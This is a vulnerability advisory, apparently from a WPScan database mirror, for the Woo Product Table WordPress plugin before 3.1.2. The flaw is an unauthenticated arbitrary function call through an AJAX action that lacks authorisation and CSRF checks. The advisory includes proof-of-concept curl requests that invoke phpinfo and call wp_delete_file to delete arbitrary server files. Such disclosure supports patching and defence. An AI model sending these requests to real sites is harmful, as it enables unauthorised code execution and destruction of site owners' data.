Lucene search

K
wpvulndbMark CostlowWPVDB-ID:04FE89B3-8AD1-482F-A96D-759D1D3A0DD5
HistoryMar 22, 2022 - 12:00 a.m.

Woo Product Table < 3.1.2 - Unauthenticated Arbitrary Function Call

2022-03-2200:00:00
Mark Costlow
wpscan.com
10
woo product table
unauthenticated
arbitrary function call
ajax action
csrf checks
authorization

EPSS

0.017

Percentile

87.8%

The plugin does not have authorisation and CSRF checks in the wpt_admin_update_notice_option AJAX action (available to both unauthenticated and authenticated users), as well as does not validate the callback parameter, allowing unauthenticated attackers to call arbitrary functions with either none or one user controlled argument

PoC

curl -X ‘POST’ --data ‘option_key=a&perpose;=update&callback;=phpinfo’ ‘https://example.com/wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option’ To delete an arbitrary file: curl -X ‘POST’ --data ‘option_key=a&option;_value=/path/to/file&perpose;=update&callback;=wp_delete_file’ ‘https://example.com/wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option’ curl -X ‘POST’ --data ‘action=wpt_admin_update_notice_option&option;_key=a&option;_value=/path/to/file&perpose;=update&callback;=wp_delete_file’ ‘https://example.com/wp-admin/admin-ajax.php

EPSS

0.017

Percentile

87.8%

Related for WPVDB-ID:04FE89B3-8AD1-482F-A96D-759D1D3A0DD5